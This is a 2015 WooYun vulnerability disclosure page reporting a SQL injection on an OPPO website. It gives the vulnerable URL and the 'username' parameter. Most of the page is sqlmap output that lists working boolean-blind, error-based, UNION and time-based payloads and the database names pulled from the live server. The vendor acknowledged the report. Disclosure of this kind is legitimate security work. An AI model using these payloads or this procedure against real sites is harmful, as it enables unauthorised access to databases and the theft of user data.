当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091975

漏洞标题:OPPO某站点sql注入可跨库

相关厂商:广东欧珀移动通讯有限公司

漏洞作者: #6c6c6c

提交时间:2015-01-16 12:11

修复时间:2015-03-02 12:12

公开时间:2015-03-02 12:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商已经确认,细节仅向厂商公开
2015-01-30: 细节向核心白帽子及相关领域专家公开
2015-02-09: 细节向普通白帽子公开
2015-02-19: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

sql

详细说明:

注入地址:http://www.oppodigital.com.cn/club_register.php?act=check_username&user
name=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:44:22
[05:44:22] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.oppodi
gital.com.cn\session' as session file
[05:44:22] [INFO] testing connection to the target url
[05:44:22] [INFO] heuristics detected web page charset 'ascii'
[05:44:22] [INFO] testing if the url is stable, wait a few seconds
[05:44:23] [INFO] url is stable
[05:44:23] [INFO] testing if GET parameter 'act' is dynamic
[05:44:24] [INFO] confirming that GET parameter 'act' is dynamic
[05:44:24] [WARNING] GET parameter 'act' appears to be not dynamic
[05:44:24] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[05:44:24] [INFO] testing sql injection on GET parameter 'act'
[05:44:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:44:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:44:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[05:44:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[05:44:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[05:44:32] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:44:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[05:44:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[05:44:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:44:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[05:44:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[05:44:39] [INFO] testing 'Oracle AND time-based blind'
[05:44:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:44:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:44:55] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[05:45:10] [WARNING] GET parameter 'act' is not injectable
[05:45:10] [INFO] testing if GET parameter 'username' is dynamic
[05:45:11] [INFO] confirming that GET parameter 'username' is dynamic
[05:45:11] [WARNING] GET parameter 'username' appears to be not dynamic
[05:45:11] [INFO] heuristic test shows that GET parameter 'username' might be in
jectable (possible DBMS: MySQL)
[05:45:11] [INFO] testing sql injection on GET parameter 'username'
[05:45:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:45:12] [INFO] GET parameter 'username' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[05:45:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:45:12] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WH
ERE or HAVING clause' injectable
[05:45:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:45:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:45:23] [INFO] GET parameter 'username' is 'MySQL > 5.0.11 AND time-based bli
nd' injectable
[05:45:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:45:23] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[05:45:23] [INFO] target url appears to have 1 columns in query
[05:45:24] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 165 HTTP(s) req
uests:
---
Place: GET
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: act=check_username&username=' AND 4540=4540 AND 'FWqQ'='FWqQ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: act=check_username&username=' AND (SELECT 4092 FROM(SELECT COUNT(*)
,CONCAT(0x3a6c70653a,(SELECT (CASE WHEN (4092=4092) THEN 1 ELSE 0 END)),0x3a7770
613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'CwvT'='CwvT
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: act=check_username&username=-4428' UNION SELECT CONCAT(0x3a6c70653a
,0x714a54464f544a624847,0x3a7770613a)# AND 'IRUT'='IRUT
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: act=check_username&username=' AND SLEEP(5) AND 'Nrwy'='Nrwy
---
[05:45:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.5
back-end DBMS: MySQL 5.0
[05:45:25] [INFO] fetching database names
[05:45:26] [INFO] the SQL query used returns 4 entries
[05:45:26] [INFO] retrieved: "information_schema"
[05:45:26] [INFO] retrieved: "ecshop"
[05:45:26] [INFO] retrieved: "oppo_store"
[05:45:26] [INFO] retrieved: "romeo"
available databases [4]:
[*] ecshop
[*] information_schema
[*] oppo_store
[*] romeo
[05:45:26] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.oppodigital.com.cn'
[*] shutting down at 05:45:26

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-01-20 16:32

厂商回复:

thx!

最新状态:

暂无